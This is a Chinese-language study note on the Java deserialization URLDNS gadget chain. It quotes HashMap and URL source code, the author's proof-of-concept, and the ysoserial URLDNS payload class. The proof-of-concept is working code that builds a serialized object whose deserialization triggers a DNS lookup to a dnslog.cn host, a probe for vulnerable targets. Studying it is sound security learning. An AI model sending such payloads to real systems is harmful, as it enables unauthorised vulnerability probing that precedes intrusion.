URLDNS利用链

利用链分析在我的Github主页
Java反序列化学习

下面写下POC思路

利用点HashMap的readObject

    private void readObject(java.io.ObjectInputStream s)
        throws IOException, ClassNotFoundException {
        // Read in the threshold (ignored), loadfactor, and any hidden stuff
        s.defaultReadObject();
        reinitialize();
        if (loadFactor <= 0 || Float.isNaN(loadFactor))
            throw new InvalidObjectException("Illegal load factor: " +
                                             loadFactor);
        s.readInt();                // Read and ignore number of buckets
        int mappings = s.readInt(); // Read number of mappings (size)
        if (mappings < 0)
            throw new InvalidObjectException("Illegal mappings count: " +
                                             mappings);
        else if (mappings > 0) { // (if zero, use defaults)
            // Size the table using given load factor only if within
            // range of 0.25...4.0
            float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
            float fc = (float)mappings / lf + 1.0f;
            int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                       DEFAULT_INITIAL_CAPACITY :
                       (fc >= MAXIMUM_CAPACITY) ?
                       MAXIMUM_CAPACITY :
                       tableSizeFor((int)fc));
            float ft = (float)cap * lf;
            threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                         (int)ft : Integer.MAX_VALUE);

            // Check Map.Entry[].class since it's the nearest public type to
            // what we're actually creating.
            SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
            @SuppressWarnings({"rawtypes","unchecked"})
            Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
            table = tab;

            // Read the keys and values, and put the mappings in the HashMap
            for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false);
            }
        }
    }

看下对应的writeObject

private void writeObject(java.io.ObjectOutputStream s)
    throws IOException {
    int buckets = capacity();
    // Write out the threshold, loadfactor, and any hidden stuff
    s.defaultWriteObject();
    s.writeInt(buckets);
    s.writeInt(size);
    internalWriteEntries(s);
}

internalWriteEntries(s);函数

tab.key对应的是我们的URL

    void internalWriteEntries(java.io.ObjectOutputStream s) throws IOException {
        Node<K,V>[] tab;
        if (size > 0 && (tab = table) != null) {
            for (int i = 0; i < tab.length; ++i) {
                for (Node<K,V> e = tab[i]; e != null; e = e.next) {
                    s.writeObject(e.key);
                    s.writeObject(e.value);
                }
            }
        }
    }

我们要修改tab中的K,从而达到写入URL的目的，下面看如何写入tab。

用到的是put方法

    public V put(K key, V value) {
        return putVal(hash(key), key, value, false, true);
    }

这里注意一下在put函数中调用了利用链中的putVal函数，后面也会触发DNS请求。为了不将这次请求与目标请求弄混，这里有两种方法。

1. 给URL变量赋值

在URL hashCode函数中会做个判断，我们将hashCode设置为一个不等于-1的值，就可以不在POC截断触发RCE触发点。

但是要记得在反序列化之前需要将hashCode改回-1

public synchronized int hashCode() {
    if (hashCode != -1)
        return hashCode;

    hashCode = handler.hashCode(this);
    return hashCode;
}

2. ysoserial的方法

覆盖了URLStreamHandler中的openConnection和getHostAddress方法，其中getHosAddress是本利用链RCE触发点。

        static class SilentURLStreamHandler extends URLStreamHandler {

                protected URLConnection openConnection(URL u) throws IOException {
                        return null;
                }

                protected synchronized InetAddress getHostAddress(URL u) {
                        return null;
                }
        }

最后给出自己写的POC

package ysoserial.poc;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class urldns {
    public static void main(String[] args) throws Exception {
        HashMap hashmap = new HashMap();
        URL url = new URL("http://ybnlxi.dnslog.cn");//url
        Field field = Class.forName("java.net.URL").getDeclaredField("hashCode");
        field.setAccessible(true);//hashCode为私有对象
        field.set(url,666);//将url对象的hashCode值设置为666!=-1
        hashmap.put(url, 1);
        field.set(url, -1);//反序列化时hashCode值为-1
        try {
            FileOutputStream fileOutputStream = new FileOutputStream("./s.ser");
            ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
            objectOutputStream.writeObject(hashmap);
            objectOutputStream.close();
            fileOutputStream.close();

            FileInputStream fileInputStream = new FileInputStream("./s.ser");
            ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
            objectInputStream.readObject();
            fileInputStream.close();
            objectInputStream.close();
        }
        catch (Exception e) {
            e.printStackTrace();;
        }
    }
}

测试

ysoserial的POC

package ysoserial.payloads;

import java.io.IOException;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;

import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;


/**
 * A blog post with more details about this gadget chain is at the url below:
 *   https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/
 *
 *   This was inspired by  Philippe Arteau @h3xstream, who wrote a blog
 *   posting describing how he modified the Java Commons Collections gadget
 *   in ysoserial to open a URL. This takes the same idea, but eliminates
 *   the dependency on Commons Collections and does a DNS lookup with just
 *   standard JDK classes.
 *
 *   The Java URL class has an interesting property on its equals and
 *   hashCode methods. The URL class will, as a side effect, do a DNS lookup
 *   during a comparison (either equals or hashCode).
 *
 *   As part of deserialization, HashMap calls hashCode on each key that it
 *   deserializes, so using a Java URL object as a serialized key allows
 *   it to trigger a DNS lookup.
 *
 *   Gadget Chain:
 *     HashMap.readObject()
 *       HashMap.putVal()
 *         HashMap.hash()
 *           URL.hashCode()
 *
 *
 */
@SuppressWarnings({ "rawtypes", "unchecked" })
@PayloadTest(skip = "true")
@Dependencies()
@Authors({ Authors.GEBL })
public class URLDNS implements ObjectPayload<Object> {

        public Object getObject(final String url) throws Exception {

                //Avoid DNS resolution during payload creation
                //Since the field java.net.URL.handler is transient, it will not be part of the serialized payload.
                URLStreamHandler handler = new SilentURLStreamHandler();

                HashMap ht = new HashMap(); // HashMap that will contain the URL
                URL u = new URL(null, url, handler); // URL to use as the Key
                ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

                Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

                return ht;
        }

        public static void main(final String[] args) throws Exception {
                PayloadRunner.run(URLDNS.class, args);
        }

        /**
         * 
This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
         * DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
         * using the serialized object.
         *
         * Potential false negative:
         * 
If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
         * second resolution.
         */
        static class SilentURLStreamHandler extends URLStreamHandler {

                protected URLConnection openConnection(URL u) throws IOException {
                        return null;
                }

                protected synchronized InetAddress getHostAddress(URL u) {
                        return null;
                }
        }
}